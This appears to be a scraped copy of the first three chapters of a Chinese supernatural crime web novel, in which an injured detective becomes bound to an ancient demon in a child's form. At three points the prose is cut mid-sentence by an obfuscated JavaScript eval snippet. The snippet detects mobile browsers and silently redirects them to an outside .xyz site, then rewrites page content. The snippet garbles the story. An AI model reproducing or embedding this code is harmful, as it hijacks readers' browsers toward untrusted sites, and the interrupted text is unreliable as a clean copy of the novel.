《她靠噬恶念破案》 1. 契约 2020年6月6日,旧西陵医院废址。 “轰隆隆——!” 震耳欲聋的坍塌声毫无预兆地从头顶传来,贺黎筠甚至来得及抬头,整片天花板就劈头盖脸砸了下来。 碎石和钢筋倾泻而下,扬起的尘烟像一场小型的沙暴,席卷了整个废弃医院底层的走廊。 剧痛中,贺黎筠缓缓恢复了意识。 黑暗。 令人窒息的黑暗,夹杂着血腥味与石灰刺鼻的气息。 温热的液体顺着额角流进衣领,他试图移动手臂,却发现上半身被混凝土块压得动弹不得。 断裂的钢管从侧面贯穿了他的腹部,温热的液体从侧腹的伤口不断渗出,右肺也似乎被断裂的肋骨刺穿了,每次呼吸都伴随着难以忍耐的疼痛…… 温热的鲜血在身下汇聚成粘稠的血泊,耳机里传来同事焦急的呼喊,信号时断时续:“贺哥……你那边……发生了什么!怎么有爆炸声!……贺哥!” 贺黎筠的嘴唇颤抖着想要回应,却只吐出一串带血的气泡。 他们追踪了整整三个月的绑架杀人犯,三个月的日夜蹲守,三个月的抽丝剥茧,终于被他堵在了这栋即将拆除的废弃医院里。 却因这该死的坍塌功亏一篑,眼睁睁地看着那个黑影在走廊尽头消失…… 视线再度变得模糊,耳边同事的呼喊声也变得越来越远,取而代之的是自己越来越沉重的心跳声。 “……好饿。” 就在贺黎筠重伤失血过多的时候,他朦朦胧胧地听到一个奶声奶气的声音自废墟下响起。 “疼……” 轻得像是幻觉,却让他的瞳孔骤然紧缩。 他艰难地转动脖颈,看见一只沾满灰尘的小手从废墟缝隙里伸了出来。那手腕细得不可思议,像是长期营养不良的孩童,指甲缝里满是乌黑的泥尘。 那个畜生竟又绑架了一个孩子?! 都怪他们动作太慢…… 这个念头像尖刀般,刺入了贺黎筠濒临涣散的意识。 濒死的神经末梢传来尖锐的疼痛,浓烈的血腥味在口腔里弥漫开来,却远不及这个认知带来的冲击强烈。 三个月前受害者骨瘦如柴的小脸、家属崩溃的哭喊,这一刻全都化作了滚烫的怒火,在血管里疯狂地燃烧。 他来不及思考为什么会有个孩子出现在这片废墟下,残存的警察本能已经先于理智做出了反应——就算要死,也得先救下这个孩子! “别……怕……” 贺黎筠从牙缝里挤出这两个字,被血堵住的喉咙让声音嘶哑得不成样子。 他绷紧着全身肌肉,青筋在额角暴起,竟真的挣开了压在胸口的碎石。混凝土碎块摩擦着伤口,带出更多的鲜血,但他已经感觉不到痛了。 他撑起身体抓住了那只小手。 然而,死神似乎真的要带走他们,坍塌的钢筋竟在此时二次断裂,朝着他们当头劈下。 许是这一刻,肾上腺素飙升到了极致,贺黎筠条件反射地搂住孩子向侧面翻滚。 断裂的钢筋擦着他的后脑勺砸进地面,溅起的碎石在他脸上划出数道血痕。 后背重重地撞在地上,却成功将那个瘦小的身影完全地护在了怀里。 这栋危楼随时都可能会二次坍塌。 他必须要把这个孩子带到安全的地方…… 要撑住…… 至少……撑到救援赶来…… 贺黎筠用尽力气想要挪动身体,却绝望地发现自己的力气已经在方才的爆发中都耗尽了。 他连站都站不起来了。 温热的液体顺着他的下巴滴落在孩子的脸上,分不清是血还是汗。 “这里危险……快……离开这里……” 怀里的孩子却出奇地安静,只有微微颤抖的小手暴露了恐惧。 他要死了,不能陪她一起离开了。 “别怕……坏蛋已经逃跑了……警察叔叔……马上就来了……” 剧痛让贺黎筠的意识开始飘散,他在用最后的力气安抚着怀里的孩子。 直到右手食指突然传来轻微的、被利齿刺穿的疼痛。 他有些懵懵地低头。 全身的剧痛已经让他分不清发生了什么……只见涣散的视线里,自己染血的手指正被个小女孩叼着。 对方鼓着腮帮子吮吸,像是在喝草莓牛奶。 “呸,难吃。”她突然皱眉,嫌弃地吐掉他的手指,他就这样对上了一双在黑暗中莹莹发亮的眼睛。 下一秒,怀里的重量骤然发生变化。 本该是孩童的身躯突然抽长,苍白的手臂如蛇般缠上他的脖颈,冰凉的手指抵住他的喉结。贺黎筠被迫抬头,对上一张美得妖异的面孔。 海藻般凌乱的长发垂落在他染血的领口,她的皮肤白得近乎透明,隐约可见皮下青色的血管。 她眼尾上挑地望着他,那绝不是人类孩童该有的眼神,在幽暗的废墟里泛着诡异的莹光,像午夜浮上海面的磷火,冰冷而嫌弃地注视着他。 “脏死了。” 他已经被这突如其来的重量压得喘不过气来,就见再度模糊的视线里,她轻盈地站起身,像某种深海生物般优雅而诡异地舒展开身体。 然后,他就被踹了一脚。 “喂,不会死了吧。” 刚才抱着她的男人“砰”地一声栽倒在地,薛宓撇撇嘴,又补了两脚,见对方毫无反应,这才慵懒地伸了个懒腰。 终于……从这该死的封印里逃了出来! 被封印千年的身躯僵硬如朽木,薛宓贪婪地深吸着久违的自由空气,眼底猩红的光芒忽明忽暗。 复仇的渴望在胸腔里翻涌,但现在的她太虚弱了,连维持人形都很勉强。 就在这时,一丝微弱的呼吸声引起了她的注意。 与此同时,医院另一端的走廊里,王姜成正蹑手蹑脚地折返。 三个月前,他绑架赵氏集团独子赵宏索要赎金。 他盯上赵宏已经整整半年。这个体弱多病的富家少爷每周三都会去私人医院复诊,保镖们松懈的安保让他轻易得手。 按照惯例,他在暗网用加密邮箱发去勒索信,开价十亿,谁知,赵家竟为了谁出赎金争吵不休,还一直与他讨价还价。 最后谈判了七日,只拿到了六亿元赎金。 王姜成并非嗜杀之人。前两次绑架,拿到赎金后他都如约放人。那些富豪顾及颜面,连警都不敢报。 但这次不同。等他打开笼子时,那个娇生惯养的少爷竟承受不住这样的惊吓和恶劣环境,在笼子里已没了呼吸! 赵家发现孩子死后立刻报了警。警方调取了全市监控,很快就锁定了他的活动范围。这三个月他东躲西藏,直到今晚被那个该死的条子堵在这座废弃医院里。 幸好,他早有准备。 凭借化学专业的背景,王姜成提前自制了炸弹。只是刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472507|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才的爆炸太过仓促,那笔巨额赎金还藏在底楼的储物间里。 “该死的条子……”他咒骂着,攥紧手中的弹簧刀,警惕地扫视着四周的废墟。 若那条子还活着…… 就在这时,前方的废墟中传来细微的响动。 王姜成屏住呼吸,却看见一个纤细的身影从废墟中缓缓走出。 竟是个美得惊人的年轻女人! 海藻般的长发披散在暗红色的纱裙上,那身装束分明是古代的样式,她甚至赤足踩在碎石上,但因为光线幽暗,王姜成并未看清细节,也根本没有细想。 他反而露出狞笑,蹑手蹑脚地靠近。 天助我也! 完美的肉票,还是个漂亮女人,正好用来要挟那些该死的条子。 他舔了舔干燥的嘴唇,肾上腺素在血管里奔涌。 然而,就在他举起小刀准备挟持的瞬间…… “噗嗤。” 王姜成的动作骤然僵住。他难以置信地低头,看见一只苍白的手插入了他的胸膛,那只手优雅地转了转,像在确认什么似的轻轻握了握。 “找到啦~” 本该背对着他的年轻女人诡异地扭过头来,那双漂亮的眼睛泛着捕食者般的猩红,望着他眼眉弯弯,勾起一抹灿烂的微笑。 “唰——” 随着手臂抽回,王姜成的胸口炸开一朵血花。 血瞬间喷洒了出来,她歪着头欣赏着掌心里还在抽搐的心脏,锋利的指甲不知何时已恢复圆润,断裂的血管像水母触须般微微地颤动。 这个男人身上满是浓烈的恶念,这颗暗红色的脏器上,竟也缠绕着浓稠的黑雾。可见生前,是个作恶多端的歹人。 真恶心。 鲜血顺着她瓷白的手臂流淌,在肘关节处滴落,脸上露出明显的嫌恶。 她随手将心脏往地上一扔,正要离开时,胸口突然传来撕裂般的剧痛。 薛宓踉跄着扶住墙壁,惊恐地发现自己的手臂竟开始变得透明。她猛地转头看向废墟中昏迷的男人,就见那股熟悉的血气正从伤口处丝丝缕缕地飘散。 她快步折返,随着距离缩短,透明的身躯果然重新凝实。 ——是他的血。 千年前那场封印,竟被这个濒死人类的血液融开了一道裂隙。而现在,她被迫与他结缔了因果契约。 在契约解除前,他不能死。 真麻烦……薛宓咬牙切齿地低咒,一把揪住男人染血的衣襟。 “啪!” 毫不客气地拍打男人的脸颊。 贺黎筠在剧痛中听见了自己重新跳动的心音。 “你快死了。” 映入眼帘的是一颗沾满尘土的心脏。 血腥味再度变得浓烈,它在她掌心上噗通跳动,温热的血珠溅在他干裂的唇上。 女人将心脏凑得更近,修长的手指轻轻刮蹭着他的下巴。 “鲜活的,要吃吗?” 她歪头露出天真又残忍的笑容:“别嫌弃啊,虽然是从垃圾身上摘的……”海藻般的长发随着动作滑落,她伸手擦了擦上面的尘土和血迹,“但你失血过多,不想死的话……” 贺黎筠想要说话,但气管里涌上的血沫却堵住了所有的声音。 在陷入黑暗前的最后一刻,他看见女人突然凑近,冰凉柔软的唇贴上了他染血的嘴角…… “乖,咽下去。” 他彻底陷入了黑暗。 2. 愿望 “滴——滴——滴——” 不知过了多久,贺黎筠费力地掀开沉重的眼皮。 病房过亮的顶灯刺得他眼睛一阵锐痛,左手打着石膏悬在胸前,胸腔被厚厚的绷带紧紧缠绕……身体像是灌满了铅,陌生得不属于自己。 刚才……似乎做了一个极其离奇的梦…… “贺哥!你醒了!老天,你可算醒了!”嘶哑的惊呼声炸响在耳边,贺黎筠艰难地侧过头,只见楚子琦顶着两个硕大的黑眼圈扑到床前,声音发颤道,“你昏迷了整整一天!可吓死我们了!” 他喉结滚动了一下,干裂的嘴唇翕动着,挤出嘶哑的音节:“王姜成……” “死了!”楚子琦攥紧拳头,咬牙切齿道,“那畜生是化工专业的,早就在医院里埋了炸药!法证在现场发现了□□……” 王姜成……死了? “我们在底楼储物间搜出六亿现金,他就死在储物间外面,胸口被钢筋捅了个对穿。这畜生肯定是想带着钱跑路,结果老天开眼,二次坍塌直接把他钉死在那儿,心脏还整个掉在了外面,摔得稀巴烂。真是活该!” 那个海妖般的女人,那颗跳动的心脏…… 梦境里的画面不受控制地浮现,与眼前残酷的现实骤然重叠。贺黎筠的太阳穴突突直跳,眉头下意识地紧锁。 “要我说这种畜生还做什么尸检,纯属浪费公共资源!直接结案得了!” 王姜成,是绵市人。早在1997年就制造了震惊全国的连环金铺劫案。六家金店,五百多万的珠宝,这个恶魔像逛超市一样洗劫一空。 最猖狂的是同年7月,他竟敢带人抢劫机场的运钞车,成功劫走1.6亿现金。但令人匪夷所思的是,后来他被警方抓获,法庭竟以证据不足为由,将他无罪释放。 经此一役,王姜成安分守己了一段时间。但谁都没想到,在如今这个天网密布、法治森严的时代,他竟还胆大包天地来到青江市作案! 他专挑青江市的富豪下手,绑架、勒索、交人,形成了专业的团队。要不是这次受害者遇害,家属及时报警,这个恶魔还要继续逍遥法外下去。 但也正是因为当年那个荒谬的判决,让一个贪婪的抢劫犯蜕变成了冷血的杀人魔。从金铺劫案到机场运钞车,再到如今的连环绑架案,每一次成功都在助长这个恶魔嚣张的气焰。 最为讽刺的是,真的将王姜成缉拿归案,按照绵市与青江市的引渡协议,这个恶魔大概率会被遣返绵市受审。 而绵市早在二十年前就废除了死刑。 无论犯下何等滔天罪行,最高刑罚都不过是终身监禁。 所以,他们才必须要在王姜成偷渡回绵市前将他抓捕。尽可能地将他交由仍保留死刑的青江市司法机关审判,才能确保这个畜生得到应有的惩罚。 没想到,人就这么死了。 ——倒也算死得其所。 楚子琦咬了咬牙,强压下怒火,转而叮嘱道:“贺哥,下次别再一个人行动了!这次算你福大命大,整片天花板砸下来,居然只是肋骨骨折加左手骨裂。” 他指了指悬吊的石膏,语气里带着后怕:“连主治医生都说,你能活下来简直是医学奇迹。” 得知贺黎筠苏醒,护士们立即围拢到病床前。 为首的护士利落地揭开旧纱布,贺黎筠下意识绷紧腹肌,却意外地没有感受到预期的疼痛。 腹部的贯穿伤已经结了层暗红的血痂,贺黎筠盯着那道狰狞的伤口,眉头紧锁。 他清楚地记得,钢筋贯穿身体的剧痛,血液汩汩涌出的粘稠触感,还有逐渐模糊的意识,以及生命随着鲜血流失的绝望感……那种程度的伤势,按理说绝不可能只是单纯的骨折。 “对了,那个你护住的孩子,还在昏迷中。”护士们完成检查后陆续离开病房,楚子琦突然想起什么,语气稍缓,“医生说没受什么伤,可能是惊吓过度,或者脑部受到轻微震荡才没醒来。不过生命体征很稳定,应该很快就能苏醒。” 当时救援队冲进废墟,发现贺黎筠身下护着一个瘦小的身影。那小女孩约莫七八岁,衣衫褴褛,苍白得像个纸人,身上却奇迹般地只有几处擦伤。 “王姜成这个畜生,逃亡路上竟也绑架了一个小孩!那孩子瘦得皮包骨,一看就是营养不良,幸好……幸好贺哥你及时找到了他们,那孩子倒也是命大……” 楚子琦的拳头不自觉地再次攥紧,理所当然地认为,定是贺黎筠在坍塌瞬间用身体护住了孩子,才让那具小身躯免于被钢筋碎石碾碎的命运。 而那该死的王姜成,竟想把他们全部炸死!这么就被砸死了,简直是太便宜他了! 就在这时,隔壁病床传来了一声微弱的呻吟。 “小妹妹,怎么了?哪里不舒服?叔叔这就叫医生来!” 楚子琦一个箭步冲到隔壁床前,手忙脚乱地按下呼叫铃,又等不及地冲出门外大喊:“医生!医生快来看看这个孩子!” 贺黎筠这才注意到,楚子琦口中他救下的小孩就躺在他隔壁病床,此刻,正套着过于宽大的蓝色病号服,痛苦地蜷缩在病床上。 干枯如稻草的头发贴在汗湿的额头上,那小小的身影看起来十分瘦弱,正抱着肚子缩成虾米状,而床边挂了一串空了的营养液袋子。 就在贺黎筠的目光落在她苍白的小脸上时,小女孩突然睁开眼睛,那双正常的深棕色瞳孔水汪汪地对上了自己,贺黎筠一怔,就见小女孩对着他吐了…… 黑褐色的呕吐物四溅一地,紧接着赶过来的医护人员迅速拉上隔离帘,挡住了他的视线。 “细菌培养加急,血常规复查,再排查过敏原、重金属含量。”主治医师皱眉嘱咐着。 “小妹妹别怕。这位护士抽血经验丰富,不痛的。” 帘子再次拉开时,小女孩已经虚弱得像张透明的纸,惨白的脸色衬着乌青的唇,细瘦的手腕上又输起了液。 医护人员离去后,呕吐呕到虚脱的薛宓蜷缩着幼小的身体默默咬牙:果然脏东西不能乱吃! 就在这时,她突然感受到一股强烈的视线,不满地转头,就见隔壁床上的男人还在看自己。 想到自己吐了一地的狼狈模样全被这人看去,她虚弱地龇牙,凶凶地瞪他:看什么看! 要不是这男人快死了,心脏越跳越弱,她也不会捡着那颗好不容易净化过的心脏凑过去让他尽快补补,结果这人连吞咽的力气都没有。 情急之下,她只能先吞噬另一个人的灵魂,再将那具尸体上缠绕的所有黑雾吞噬殆尽,才成功将体内仅存的那点本源力量,硬生生剥离出来,渡入他汩汩流血的伤口。 结果现在好了,她不仅耗尽了自己的力量,还被反噬了! 刚才还被一群人按着,抽了四管子的血! 真是气死她了! 薛宓气得把被子蒙过头顶。 “小妹妹要喝水吗?”楚子琦见那孩子被贺哥看一眼就慌忙地躲进被子里,连忙轻轻地坐到她床边,声音放得格外温柔。 见被团纹丝不动,他继续耐心询问:“小妹妹,你记不记得爸爸妈妈的电话号码?家住在哪里呀?叔叔帮你找爸爸妈妈过来。” 其实他们早就查过,这三个月,全市根本没有报儿童失踪的案件。 更诡异的是,当时救出这孩子时,她身上那件衣服破破烂烂的。在给孩子换上医院病号服后,换下的衣服竟离奇地消失了。护士们翻遍整个病房都没找到,导致现在连张像样的照片都没有,寻人启事都发不出去。 被窝里传来窸窸窣窣的动静,半晌,一只苍白的小手慢吞吞地掀开被子一角。 薛宓露出半张脸,湿漉漉的眼睛里盛满迷茫:“我……我不记得了……” 她的声音细若蚊呐,手指不安地绞着被角:“叔叔,你是谁?我为什么会在医院……” “叔叔是警察。”楚子琦连忙掏出警官证,声音不自觉地又放柔了几分,“你还记得自己叫什么名字吗?” 他边说边轻轻掖了掖被角。 病床上的小女孩茫然地摇了摇头,细软的发丝随着动作轻轻晃动,露出苍白的小脸。 “那记得这个人吗?”楚子琦从手机里调出一张王姜成的通缉照片。 薛宓的眼神突然变得惊恐,整个人往被子里缩了缩,只露出一双泛红的眼睛,却还是坚定地摇头:“我、我不记得……”她声音突然带上哭腔,“但一看到这张脸就好害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472508|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕……他是谁……” “他是绑架你的大坏蛋。”楚子琦连忙把照片收起来,轻轻拍了拍被团,“不过小妹妹别怕,坏人已经死了。你要是想起什么,随时告诉叔叔。” 他转头对贺黎筠使了个眼色,用口型无声地说:“典型的创伤后失忆。” 贺黎筠眉头微蹙,点点头道:“去调一下全市小学的校服图册?说不定有这孩子熟悉的……” “我记得这个叔叔!” 清脆的童声突然打断了贺黎筠未完的话。只见小女孩从被窝里探出半个身子,纤细的手指直直地指向自己。 “当时我被压在废墟下面,是这个叔叔救了我!”她苍白的脸上浮着一丝血色,眼睛亮晶晶的,“叔叔,你有什么心愿吗?我想报答你!” 和她结缔契约的男人,现在也很虚弱,随意吸血补充力量,万一把人弄死了怎么办…… 更何况…… 薛宓悄悄攥紧了病号服下摆。 这个千年后的世界处处透着诡异,那个会发光显示人脸的长方盒子,她身旁会滴滴叫的铁皮箱子,还有这个让她极度不适的房间……在没有恢复实力前,她必须谨慎行事。 这样想着时,薛宓也在悄悄地打量着眼前的男人。 才发现,这个叫“贺黎筠”的男人长得倒是还挺好看的。 失血过多的苍白,衬得他眉目清俊,鼻梁高挺。 冷峻的侧脸线条在灯光下格外分明,只是皱眉说话的时候,唇形极好的薄唇微抿着,严肃又冷漠。 看上去好凶呢。 就见下一秒,他嘴角挤出一个僵硬又温柔的笑容:“小妹妹,我希望你能早日找到家人。” “……” 晚上,探视的同事一一离去后,病房里终于安静了下来。 被诊断为“急性肠胃炎”的薛宓刚输完液,就一把扯掉了手背上的针头。 她赤着脚走到贺黎筠床前,发现他正专注地看着那个会发光的长方盒子。 “真的没有其他愿望吗?”她坐在床沿,双腿轻轻地晃了晃,“什么都可以哦,我什么都能帮你实现。” 贺黎筠办案多年,见过太多受创的孩子。他们或歇斯底里,或沉默寡言,但从未见过这样——近乎诡异的平静。 在经历绑架创伤失忆后,这个瘦小的女孩只有最初抽血时有过激烈的挣扎,其余时间都异常的安静。 没有哭闹,没有恐惧,甚至从不提起父母。 除了执着地问他要什么愿望外,她安静得像个精致的人偶。 他忍不住伸手揉了揉那颗探过来的小脑袋。 营养不良的身体,看似干枯的头发却意外地柔软顺滑,摸起来就摸小动物似的。 贺黎筠在心里想着。 然后他就被白了一眼。 小姑娘嫌弃地后退开,像是露出本性一般瞪了他一眼,贺黎筠不禁微扬了扬嘴角。 冷峻的面容因为这个细微的表情而柔和了几分。他微微俯身,与病床上的小女孩平视,声音放得极轻:“真的什么愿望都能达成吗?” 话音未落,那双深棕色的眼睛瞬间亮了起来,她急切地往前倾了倾身子,像是生怕错过他的愿望。 那双过分明亮的眸子直直望进他的眼底,贺黎筠下意识放柔了语调,带着几分生疏的哄孩子的语气:“那叔叔希望你能想起自己的名字。” “……” 薛宓歪着头,用一种古怪的眼神打量着他:“你确定……就这个愿望?”她的声音里带着难以置信的迟疑。 “嗯。” “我叫薛宓。”小女孩突然板起脸,一本正经地宣布,“你的愿望我已经达成,现在你我两不相欠。” 贺黎筠一愣。他还没从这个突如其来的回答中回过神,就见对方已经抓着他没受伤的手臂,嗷呜一口,咬了下去。 他条件反射地立刻抽手,倒不是担心自己被咬伤,而是怕自己皮糙肉厚会把小姑娘的牙齿硌坏。 而咬了一口想要解除契约的薛宓也懵逼了。 尖锐的犬齿刺破皮肤,鲜血的味道在舌尖漫开…… 她明明已经完成了他的愿望,为什么他们之间的因果还是没有解除??? 3. 装乖 眼前的小女孩保持着咬人的姿势骤然僵住了。她慌乱的眼睛瞪得圆圆的,最终变成了难以置信的震惊。 “怎么了?”贺黎筠顾不上手臂的伤口,下意识伸手想要查看她的情况,“是不是牙疼……” “不可能!”薛宓后退一步,声音变了调,“我明明已经……” 她的目光落在贺黎筠渗血的手臂上,猛然意识到,这个人类的愿望,根本不是“知道她的名字”那么简单。 “你骗我。”她小脸绷得紧紧的,声音突然冷了下来,带着不属于孩童的寒意,“你心里真实的愿望,根本不是知道我的名字。” 贺黎筠微微一怔。眼前这个方才还乖巧可人的小女孩,此刻像是变了一个人似的。 “我没失忆,也不是小孩。”薛宓咬牙切齿地逼近,纤细的手指攥紧了病床栏杆,“只是力量耗尽才变成这样。说清楚,你到底想要什么?” 她刻意释放出一丝威压,本以为会看到对方惊慌失措的表情。谁知,贺黎筠却当着她的面,面色凝重地按下了呼叫铃。 “护士站,2床的患儿出现了一些精神症状。” 他举起自己被咬伤的手臂,对着闻讯赶来的医护人员快速解释了一番刚才发生的事情:“突发躁狂症状,伴有被害妄想和攻击行为,结合先前的呕吐症状,很可能是脑出血。” 他的声音异常平静,仿佛在汇报某个寻常案件的现场勘查。 眼见那群白衣人又围了上来,薛宓瞬间收敛了所有异样,又变回那个人畜无害的小女孩。她乖巧地任由护士检查,甚至在测血压时还软软地说了声“谢谢姐姐~”。 睫毛扑闪的样子任谁看了都会心软。 但这次装乖没能蒙混过关。她还是被护士抱上轮椅,推去做一个所谓的全套脑部检查。 那些人类似乎真信了那个男人的话,怀疑她是脑出血导致的异常行为。 当病房终于重归寂静,贺黎筠望着空荡荡的隔壁病床,犹豫了片刻后还是开口:“宋医生,我昏迷前似乎看到了一些……不合常理的景象。我看见一个女人,手里拿着一颗心脏……” 年迈的主治医师露出了然又宽容的微笑:“幻视是失血性休克的常见症状。贺警官,你现在最需要的是好好休息。” 做完检查的薛宓,整个人都蔫得像霜打的小白菜。 他们把她推进一个巨大的白色圆筒机器里,四周响起各种诡异的“轰隆”声和“咔嗒”声,吵得她脑仁疼。 她本能地挣扎起来,耳塞被甩飞出去,那些可怕的噪音更加肆无忌惮地往她敏锐的耳朵里钻。 结果因为乱动,又被延长了关押时间,手脚还被捆绑了起来。 轮椅上的约束带刚一松开,薛宓就像只炸毛的猫一样蹿回病床,把被子往头上一蒙,整个人愤怒地蜷成一团。 她灵敏的耳朵却捕捉到了护士刻意压低的嗓音:“贺警官,CT和MRI都没问题,但做检查时患儿情绪极度激动……宋医生诊断是创伤后应激性精神障碍,初步考虑……精神分裂症可能。你千万别刺激她,尽量……顺着她的话说。” 薛宓虽然听不懂“精神分裂”是什么意思,但听那女人瞬间小心翼翼的语气就知道——肯定不是什么好词! 听到关门声,薛宓立刻掀开被子探出头,望着贺黎筠楚楚可怜道:“叔叔对不起……我刚才不是故意凶你的,只是太想知道你的愿望了……你能不能告诉我……你告诉我后,我就不缠你了……” 贺黎筠本打算顺着护士的建议敷衍过去,可对上那双亮晶晶的目光,话到嘴边竟鬼使神差地变成了:“我想找到杀父仇人。” 他苦笑道:“我爸在我九岁那年被人杀害。这些年我一直在找凶手,但……”他声音低了下去,“可能早就死了,也可能在哪个监狱里服刑。” 这是贺黎筠第一次主动对人提起这件事。说完他才惊觉,自己竟对一个素不相识的小女孩吐露了埋藏十五年的心结。 而这个小孩子无论如何都无法完成的愿望,也算是断了她总是追问的心。 谁知却见,小姑娘眼睛一亮,竟突然赤脚跳下床,啪嗒啪嗒跑到他的床边。 “你的愿望,我收到了。”冰凉的小手按在他额头上,带着某种庄严的仪式感,“我一定会为你找到凶手的。” 喜悦溢上眉梢,薛宓心满意足地躺回床上。 然而还没等她盘算好计划,就被突如其来的护士按住了屁股。 酒精棉冰凉地擦过皮肤,下一秒,针头毫不留情地扎了进来。 薛宓:“!” 护士一离开,她就速度吐掉了舌下的药片,但那一针镇静剂还是让她昏昏沉沉地陷入了黑暗…… 为了不再被拖去做各种检查,也为了避免再挨针吃药,接下来的养病日子里,薛宓表现得乖巧地不得了。 七日后,她终于获准出院。 一大早,楚子琦提着一个购物袋赶到了医院。他不知道小女孩喜欢什么款式,干脆买了一套最受欢迎的粉色连衣裙和一套印着小熊的休闲装。 薛宓低头扯了扯蓬松的裙摆,小脸皱成一团。 这身粉红色蕾丝连衣裙在她看来简直蠢透了——层层叠叠的纱裙活像个移动的奶油蛋糕,领口的蝴蝶结更是幼稚得令人发指。 要不是为了维持人设…… 薛宓不情不愿地抬起头,对上楚子琦的瞬间切换成甜度满分的笑脸:“谢谢叔叔~” 楚子琦的心都被萌化了! “薛宓小妹妹。”瞧见她乱糟糟的长发被护士梳成乖巧的双马尾,像个漂亮的小天使,他朝她伸出了手,像是在哄幼儿园的小朋友,语气轻快地道,“叔叔带你去支队录个指纹,很快就能找到你的爸爸妈妈啦!” 这七天来,小女孩除了坚称自己叫“薛宓”外,一直没有恢复记忆,而他们查遍了全市小学,走访了各个社区,发了无数寻人启事,也始终没有找到这孩子的任何线索。 只能先把这孩子的指纹录入进系统。如果还是没有家属来认领,这个孩子很可能要被暂时安置在福利院了…… “贺叔叔不和我们一起吗?”薛宓无视对方主动伸来的手,反而在门口东张西望。 “他啊……伤还没好利索,队长特批了三天假,让他回家好好休息。” 实际上,贺黎筠是不想让妈妈担心。这次重伤住院,他瞒着家里只说在跟大案。如今一周没露面,总得先回家报个平安。 然而还没等楚子琦说完,眼前的小天使已经哒哒哒地跑远了。 护士站前,贺黎筠正专注地核对着出院清单,突然感觉衣角被人拽住。一低头,就见穿着粉裙子的漂亮小姑娘眼睛里盈满泪水,像只被遗弃的幼猫,紧抱着他的手臂不放。 “叔叔……”带着哭腔的奶音微微发颤,“你能不能留下来陪我,我害怕……” 贺黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472509|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筠抬头看向匆匆赶来的楚子琦,用眼神询问他发生了什么。后者无奈地耸耸肩:“我刚说要带她去局里录指纹,她听说你不一起去就……” 话音未落,小姑娘把贺黎筠的手臂抱得更紧了,小脸都憋得通红。 明明住院期间是楚子琦跑前跑后,每天变着花样带零食,晚上还给她读童话故事。可这孩子偏偏只认准了总是冷着脸的贺黎筠,像条小尾巴似的跟前跟后。 要说原因,大概就是雏鸟情结吧。 毕竟在她支离破碎的记忆里,唯一清晰的画面就是贺黎筠在废墟中救她的那一刻。创伤记忆里只留存了这一个画面,自然产生了病理性的依恋。 “叔叔需要回家一趟……”贺黎筠试着抽出手臂,然而刚一动…… “呜哇——!” 紧紧搂着自己的小姑娘就放声大哭了起来。 “呜呜……我什么都不记得……只记得叔叔……” 晶莹的泪珠大颗大颗滚落,薛宓边哭边偷瞄贺黎筠的反应,发现对方还在犹豫,立刻变本加厉地哭嚎起来:“求求你别丢下我……呜呜呜……我、我害怕……害怕自己又变成一个人……” 整个住院部的目光瞬间聚集了过来。 楚子琦手足无措地掏出一张纸巾,贺黎筠则僵在原地。 这位面对持枪歹徒都面不改色的刑警,最终还是被一个小姑娘的眼泪打得溃不成军。他投降似地叹了口气:“别哭了,叔叔陪你一起去刑警支队。” 警车缓缓驶离医院,薛宓整张小脸都贴在了车窗上,鼻尖压得扁扁的。 这是薛宓苏醒后第一次真正离开眼前这座叫“医院”的建筑牢笼。虽然这几日通过病房的窗户,她早已察觉到这个千年后的世界灵气稀薄得令人窒息,但亲眼目睹外界的一切,到处都是陌生的事物,空气还污浊不堪,依旧让她瞳孔地震,无措地四处张望着。 三人抵达刑警支队大楼时,正撞见一场骚动。 一位西装革履的中年男子在一名律师的陪同下走进大厅,他左手腕缠着厚厚的纱布,面色阴沉地对着接待警员说:“林警官,这件事我绝不接受和解!这个疯子刚才持刀闯进我办公室行凶!必须立案!故意杀人罪,让他坐牢!” 他身后,两名民警押解着一个戴手铐的年轻人。那人双眼布满血丝,声音嘶哑地吼道:“陈启瑞你会遭报应的!吴倩是被你害死的!你这个杀人凶手!” “胡说什么!”中年男人突然提高音量打断他,“吴倩自己行为不检点,被公司发现后羞愧离职,跟我有什么关系?警方早就认定她是自杀!” 门口的吵闹让贺黎筠皱起眉来。他不动声色地将薛宓护在身后,带她往楼上走去。 薛宓的余光却扫过中年男人的身后,只见一团黑影正剧烈地扭曲着。 那是个刚去世不久的女鬼,泪水混着发丝黏在惨白的脸上,脖颈上,赫然是一道深紫色的勒痕。 自从力量衰退后,薛宓眼中的鬼影总是朦胧不清,尤其是那个医院里,总有模糊的鬼影飘来飘去,但这只女鬼能在她视野中如此清晰,必然是含着怨气而死的亡魂。 这类含着怨气的亡魂若不好好超度,必会化作没有理智的厉鬼。 就见男人话音刚落,她身上的怨气骤然暴涨。 